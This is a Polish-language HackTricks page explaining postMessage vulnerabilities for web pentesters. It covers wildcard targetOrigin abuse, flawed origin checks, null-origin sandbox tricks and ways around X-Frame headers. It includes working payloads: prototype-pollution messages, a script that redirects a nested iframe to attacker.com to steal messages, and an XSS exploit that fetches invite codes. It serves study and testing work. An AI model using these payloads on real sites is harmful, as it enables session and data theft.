.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Luki PostMessage
Luki PostMessage
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.
Wyślij PostMessage
PostMessage używa następującej funkcji do wysyłania wiadomości:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Zauważ, że targetOrigin może być '*' lub adresem URL, na przykład https://company.com.
W drugim scenariuszu wiadomość może być wysłana tylko do tego domeny (nawet jeśli pochodzenie obiektu okna jest inne).
Jeśli używany jest znak wieloznaczny, wiadomości mogą być wysyłane do dowolnej domeny, i zostaną wysłane do pochodzenia obiektu Window.
Atakowanie iframe i znaku wieloznacznego w targetOrigin
Jak wyjaśniono w tym raporcie, jeśli znajdziesz stronę, która może być osadzona w iframe (bez ochrony X-Frame-Header
) i która wysyła wrażliwą wiadomość za pomocą postMessage używając znaku wieloznacznego (*), możesz zmodyfikować pochodzenie iframe i ujawnić wrażliwą wiadomość do domeny kontrolowanej przez Ciebie.
Zauważ, że jeśli strona może być osadzona w iframe, ale targetOrigin jest ustawiony na adres URL, a nie na znak wieloznaczny, ten sztuczka nie zadziała.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Wykorzystanie addEventListener
addEventListener
to funkcja używana przez JS do zadeklarowania funkcji, która oczekuje na postMessages
.
Zostanie użyty kod podobny do poniższego:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Zauważ w tym przypadku, jak pierwszą rzeczą, którą robi kod, jest sprawdzenie pochodzenia. Jest to niezwykle ważne, głównie jeśli strona ma wykonać jakiekolwiek czynności wymagające uwagi w otrzymanych informacjach (np. zmiana hasła). Jeśli nie sprawdzi się pochodzenia, atakujący mogą zmusić ofiary do wysłania dowolnych danych do tych punktów końcowych i zmienić hasła ofiar (w tym przykładzie).
Wyliczanie
Aby znaleźć nasłuchiwaczy zdarzeń na bieżącej stronie, można:
- Przeszukać kod JS w poszukiwaniu
window.addEventListener
i$(window).on
(wersja JQuery) - Wykonać w konsoli narzędzi deweloperskich:
getEventListeners(window)
- Przejdź do Elementy --> Nasłuchiwacze zdarzeń w narzędziach deweloperskich przeglądarki
- Użyj rozszerzenia przeglądarki takiego jak https://github.com/benso-io/posta lub https://github.com/fransr/postMessage-tracker. Te rozszerzenia przeglądarki przechwycą wszystkie wiadomości i pokażą je Tobie.
Ominięcia sprawdzania pochodzenia
- Atrybut
event.isTrusted
jest uważany za bezpieczny, ponieważ zwracaTrue
tylko dla zdarzeń generowanych przez autentyczne działania użytkownika. Chociaż jego poprawne zaimplementowanie może być wyzwaniem do ominięcia, jego znaczenie w kontekście kontroli bezpieczeństwa jest znaczące. - Użycie
indexOf()
do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na ominięcie. Przykład ilustrujący tę podatność to:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Metoda
search()
zString.prototype.search()
jest przeznaczona do wyrażeń regularnych, a nie do ciągów znaków. Przekazanie czegoś innego niż wyrażenie regularne prowadzi do konwersji domyślnej na wyrażenie regularne, co może sprawić, że metoda będzie potencjalnie nieskuteczna. Dzieje się tak, ponieważ w wyrażeniach regularnych kropka (.) działa jako symbol wieloznaczny, umożliwiając ominięcie walidacji przy specjalnie spreparowanych domenach. Na przykład:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Funkcja
match()
, podobnie jaksearch()
, przetwarza wyrażenia regularne. Jeśli wyrażenie regularne jest nieprawidłowo zbudowane, może być podatne na ominięcie. -
Funkcja
escapeHtml
ma na celu oczyszczenie wejść poprzez unikanie znaków. Jednakże nie tworzy nowego obiektu unikniętego, ale nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. W szczególności, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uznajehasOwnProperty
,escapeHtml
nie będzie działać zgodnie z oczekiwaniami. Przedstawiono to na poniższych przykładach: -
Oczekiwane niepowodzenie:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Ominięcie unikania:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
W kontekście tej podatności obiekt File
jest szczególnie podatny ze względu na swoją tylko do odczytu właściwość name
. Ta właściwość, gdy jest używana w szablonach, nie jest oczyszczana przez funkcję escapeHtml
, co prowadzi do potencjalnych zagrożeń dla bezpieczeństwa.
- Właściwość
document.domain
w JavaScript może być ustawiona przez skrypt w celu skrócenia domeny, co pozwala na bardziej elastyczną egzekucję polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.
Ominięcie e.origin == window.origin
Podczas osadzania strony internetowej w zabezpieczonym iframe za pomocą %%%%%%, istotne jest zrozumienie, że pochodzenie iframu zostanie ustawione na null. Jest to szczególnie istotne przy korzystaniu z atrybutów sandbox i ich wpływu na bezpieczeństwo i funkcjonalność.
Poprzez określenie allow-popups
w atrybucie sandbox, każde okno popup otwarte z iframu dziedziczy ograniczenia sandboxa swojego rodzica. Oznacza to, że chyba że atrybut allow-popups-to-escape-sandbox
jest również uwzględniony, pochodzenie okna popup jest również ustawione na null
, zgodnie z pochodzeniem iframu.
W rezultacie, gdy otwarte są okna popup w tych warunkach i wiadomość jest wysyłana z iframu do popupu za pomocą postMessage
, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na null
. Ta sytuacja prowadzi do scenariusza, w którym e.origin == window.origin
jest prawdziwe (null == null
), ponieważ zarówno iframe, jak i popup mają taką samą wartość pochodzenia null
.
Aby uzyskać więcej informacji, przeczytaj:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Ominięcie e.source
Możliwe jest sprawdzenie, czy wiadomość pochodzi z tego samego okna, w którym skrypt nasłuchuje (szczególnie interesujące dla Skryptów zawartości z rozszerzeń przeglądarki w celu sprawdzenia, czy wiadomość została wysłana z tej samej strony):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Możesz zmusić e.source
wiadomości do bycia nullem, tworząc iframe, który wysyła postMessage i jest natychmiast usuwany.
Aby uzyskać więcej informacji, przeczytaj:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Bypass nagłówka X-Frame
Aby przeprowadzić te ataki, idealnie byłoby umieścić stronę ofiary w iframe
. Jednak niektóre nagłówki, takie jak X-Frame-Header
, mogą zapobiec temu zachowaniu.
W takich scenariuszach nadal można użyć mniej dyskretnego ataku. Można otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Kradzież wiadomości wysłanej do dziecka poprzez zablokowanie głównej strony
Na poniższej stronie możesz zobaczyć, jak można ukraść wrażliwe dane postmessage wysłane do dziecięcego iframe'a, blokując główną stronę przed wysłaniem danych i wykorzystując XSS w dziecku, aby wyciec dane przed ich otrzymaniem:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Kradzież wiadomości poprzez modyfikację lokalizacji iframe'a
Jeśli możesz osadzić stronę internetową bez nagłówka X-Frame-Options, która zawiera inny iframe, możesz zmienić lokalizację tego dzieckowego iframe'a, więc jeśli odbiera on postmessage wysłany za pomocą gwiazdki, atakujący może zmienić pochodzenie tego iframe'a na stronę kontrolowaną przez niego i ukraść wiadomość:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage do Zanieczyszczenia Prototypu i/lub XSS
W scenariuszach, gdzie dane wysyłane za pomocą postMessage
są wykonywane przez JS, możesz osadzić stronę i wykorzystać zanieczyszczenie prototypu/XSS, wysyłając exploit za pomocą postMessage
.
Kilka bardzo dobrze wyjaśnionych XSS poprzez postMessage
można znaleźć pod adresem https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Przykład exploitu do wykorzystania Zanieczyszczenia Prototypu, a następnie XSS poprzez postMessage
do iframe'a
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Dla więcej informacji:
- Link do strony o zanieczyszczeniu prototypu
- Link do strony o XSS
- Link do strony o zanieczyszczeniu prototypu po stronie klienta do XSS
Referencje
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Aby ćwiczyć: https://github.com/yavolo/eventlistener-xss-recon
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.